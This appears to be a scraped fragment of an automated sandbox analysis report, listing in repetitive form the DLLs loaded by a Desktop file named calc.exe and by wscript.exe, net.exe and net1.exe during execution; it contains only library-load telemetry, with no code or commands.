Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dll
